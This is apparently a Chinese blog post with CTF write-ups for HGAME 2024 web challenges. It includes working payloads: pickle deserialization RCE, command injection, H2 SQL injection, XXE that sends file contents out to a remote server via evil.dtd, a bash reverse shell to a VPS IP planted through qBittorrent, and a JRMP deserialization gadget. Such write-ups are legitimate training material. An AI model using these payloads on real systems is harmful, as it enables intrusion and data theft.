CHHHCHHOH 's BLOG

HGAME 2024

WEEK 1

ezHTTP


Bypass it

其实可以注册,然后登录就有flag





Select Courses

随机有人退课,写脚本一直发起请求,抢别人退掉的

import time
import requests
targets = list(range(1, 6))
while(targets):
    for target in targets:
        result = requests.post('http://47.100.245.185:30684/api/courses',json={'id':target})
        print(result.text)
        time.sleep(0.1)
        if('"full":0' in result.text):
            targets.remove(target)

jhat

题目三个hint给的很明显了
直接运行代码就可以了,不过要把类的路径写全。直接写Runtime.getRuntime().exec("cat /flag")会显示没有Runtime,然后就是把命令执行的结果返回,直接问chatgpt。这里就只读一行,懒的试while循环了。
new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /flag").getInputStream(), "UTF-8")).readLine();

WEEK 2

What the cow say?

cowsay是Linux的一种命令,就是命令的拼接,但是很多都被过滤了,但是可以用反引号执行命令,用*绕过flag的过滤,用nl绕过cat的过滤

`nl /f*/f*`

cowsay有点像ls,输入/*就可以看到根目录下的文件

Select More Courses

又是爆破,先爆出密码:qwert123,再对着扩学分的界面一直爆,直接扩到最高2601,选课就可以了。

myflask

先爆破key,然后进行pickle的反序列化

import os, zlib
from itsdangerous import base64_decode
from flask.sessions import SecureCookieSessionInterface
import requests
import pickle
import base64
from datetime import datetime, timedelta
from pytz import timezone

class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key


class FSCM:
    def encode(secret_key, session_cookie_structure):
        try:
            app = MockApp(secret_key)
            # session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)
            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)
    
    def decode(session_cookie_value, secret_key=None):
        try:
            if (secret_key == None):
                compressed = False
                payload = session_cookie_value
                if payload.startswith('.'):
                    compressed = True
                    payload = payload[1:]
                data = payload.split(".")[0]
                data = base64_decode(data)
                if compressed:
                    data = zlib.decompress(data)
                return data
            else:
                app = MockApp(secret_key)
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
                return s.loads(session_cookie_value)
        except Exception as e:
            return "[Decoding error] {}".format(e)
        
        
def get_admin_auth(key):
    val = {
        "username": "admin"
    }
    admin_cookie = FSCM.encode(key, val)
    return admin_cookie


class genpoc(object):
    def __reduce__(self):
        cmd = 'cat /flag'  # 要执行的命令
        s = "__import__('os').popen('{}').read()".format(cmd)
        return (eval, (s,))  # reduce函数必须返回元组或字符串


if __name__ == "__main__":
    url = 'http://106.14.57.14:32502'
    value = requests.get(url).cookies['session']
    currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
    # 初始化时间为 00:00:00
    time = datetime(currentDateAndTime.year, currentDateAndTime.month, currentDateAndTime.day, 0, 0, 0)
    key = time.strftime("%H%M%S")
    while res := FSCM.decode(value, key):
        if '[Decoding error]' not in res:
            print(res, key)
            cookie = get_admin_auth(key)
            break
        time += timedelta(seconds=1)
        key = time.strftime("%H%M%S")
        print(key)
    poc = pickle.dumps(genpoc())
    payload = base64.b64encode(poc)
    print(requests.post(url+'/flag',cookies={"session":cookie},data={"pickle_data":payload}).text)

search4member

源码如下:



就是一个h2数据库的查询
可以直接拼接sql语句进行sql注入

然后我们就需要sql注入来读取文件,load_file没有用,要用CSVREAD
123456%';CREATE TABLE TEST AS SELECT * FROM CSVREAD('/flag');--+
123456%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='TEST'--+
这里因为我创建TEST表的时候没有指定列名,所以文件的第一行内容就是列名,要读多行就用select指定列名就好了

h2数据库的具体用法

WEEK 3

WebVPN

虽然简单但感觉还挺有意思的
先看源码,要访问内网才能得到flag


但是题目只提供了百度和谷歌的proxy

很明显原型链污染,直接污染一个127.0.0.1:true的属性




最开始本来想污染一个admin新用户,结果看到proxy增加了一个admin发现没必要

先获取Admin密码


将上面的代码扔给chatgpt

而第一个记录就是Admin的数据

根据源码可知,访问/api/secret可以得到secret里的内容对应的文件,但是secret里的是/fake_flag,所以我们就要让secret里是/flag

同时/api/upload还有上传zip文件的功能

/api/unzip会进行zip文件解压到/tmp

所以我们就要通过zip文件的解压来覆盖/app/secret,这里参考国赛unzip的解法,其实就是通过软链接进行覆盖

上传zip文件,然后访问/api/unzip解压
这里有个坑点就是我上传文件的时候是Content-Type: application/x-zip-compressed,结果被前端拦截了,后面本地去掉判断的js代码再改数据包给靶机


成功覆盖

做完发现题目名Zero Link就是hint,Zero就是传空获取密码,Link就是软链接覆盖

VidarBox

源码


很明显是xxe,但是file协议从本地读取xml文件,还有检测
我们先来看检测,编码绕过即可
但是要记得加上<?xml version="1.0" encoding="UTF-16BE"?>,因为是UTF-16BE编码

<?xml version="1.0" encoding="UTF-16BE"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % dtd SYSTEM "http://124.221.19.214:3232/evil.dtd">
%dtd;
%send;
]>

cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml


evil.dtd

<!ENTITY % payload
"<!ENTITY &#37; send SYSTEM 'http://124.221.19.214:2333/?data=%file;'>"
>
%payload;

&#37;是%的html编码,这很重要,直接用%会报错
我们先把payload.xml放在容器里,evil.dtd放在我们的vps上


?fname=../test/payload


成功读到flag
接下来就是把我们的payload.xml放到vps,然后要让靶机去读
通过源码可以知道,这里是file协议,不是http协议,我WEEK3的时候想了好久也尝试了,以为file协议是无法出网访问文件的
后来看官方wp知道可以起个ftp服务器让靶机能够请求到我们vps上的文件
我们可以先用dnslog来试试


有反应,说明是file协议是出网的
直接用官方wp的代码起个ftp服务器

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_anonymous("/var/www/html", perm="r")
handler = FTPHandler
handler.authorizer = authorizer
server = FTPServer(("0.0.0.0", 21), handler)
server.serve_forever()

尽量把端口都打开,只开21端口能够接受到请求,但是好像响应请求要从请求的端口走,说起来jndi也是这样


ftp服务器有响应了

再次成功读到
一定要?fname=../../vps/payload,少了../就访问不到
可能一个../是跳到根目录,再往上跳就是公网,为什么file协议可以这样也还是不懂,我用curl试了一下也无法读到vps上的payload.xml

WEEK 4

Reverse and Escalation.

打开是ActiveMQ
搜索得到CVE-2023-46604,工具下载
直接就可以弹shell
然后是find提权

Reverse and Escalation.II

前面的都一样,就是find加了个计算判断,参考第六届浙江省赛尝试了好久,一直弄不出来,算了。

Whose Home?

给了三个hint


首先要账号密码登录,根据搜索得到默认是admin/adminadmin

成功登录发现是qBittorrentv4.5.5
这里上网找了个v4.5.5的compose.yml,可以先本地打打

version: "2.1"
services:
  qbittorrent:
    image: lscr.io/linuxserver/qbittorrent:4.5.5
    container_name: qbittorrent
    environment:
      - PUID=1000
      - PGID=1000
      - TZ=Etc/UTC
      - WEBUI_PORT=8080
    volumes:
      - ./path/to/appdata/config:/config
      - ./path/to/downloads:/downloads
    ports:
      - 8080:8080
      - 6881:6881
      - 6881:6881/udp
    restart: unless-stopped

hint2说qb本身提供了rce的功能,经过搜索知道是可以运行外部程序,可以设置新增下载和下载完成时执行脚本


这里本来是下到/downloads目录,因为担心执行权限的问题所以改到/tmp
payload.sh直接写我们的命令就可以了bash -c 'bash -i >& /dev/tcp/124.221.19.214/2333 0>&1',接下来就是要把payload.sh上传到靶机,这里要自己做torrent种子让它下载。

我这里用比特彗星制作,具体制作自己去查,主要是这里可以用Web种子做,把payload.sh放到vps上,保证自己访问http://vps/payload.sh可以下载,然后靶机下载的时候就会从http://vps/payload.sh进行下载

然后添加我们做好的torrent种子进行下载就可以反弹了

第一个flag没有权限读,suid提权,找到iconv命令

成功读取第一个flag

上传fscan扫描发现100.64.43.4开启了22端口,猜测要用frp进行穿通

这里有一个奇怪的hgame/Sh3hoVRqMQJAw9D,猜测是ssh的密码

但是密码错误,没思路了。

看了wp说还有6800端口,但是我没扫出来,估计是我的命令不对

i-short-you-1

不是很懂,说是jrmp,就是rmi进行通信的一种协议,ysoserial里也有利用链
这里直接用官方的wp,自己调试看一下链子好了

    public static void main(String[] args) throws Exception{
        ObjID id = new ObjID(); // RMI registry
        TCPEndpoint te = new TCPEndpoint("2887476089", 1099);
        LiveRef liveRef = new LiveRef(id, te, false);
        UnicastRef ref = new UnicastRef(liveRef);
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();
        byte[] byteArray = barr.toByteArray();
        String res = Base64.getEncoder().encodeToString(byteArray);
        System.out.println(res);
        System.out.println("length: " + res.length());
        new ObjectInputStream(new ByteArrayInputStream(byteArray)).readObject();
    }


UnicastRef#newCall,就是这里发起了请求

发起newCall后对Listener返回的数据进行了readObject,所以弹计算器了。

DGCClient#registerRefs,可以看到这里用了lookup,ep里的host和port都是我们传进去的,我本来以为在这里会发起连接,但不是,是后面的epEntry.registerRefs(refs)这句。

添加新评论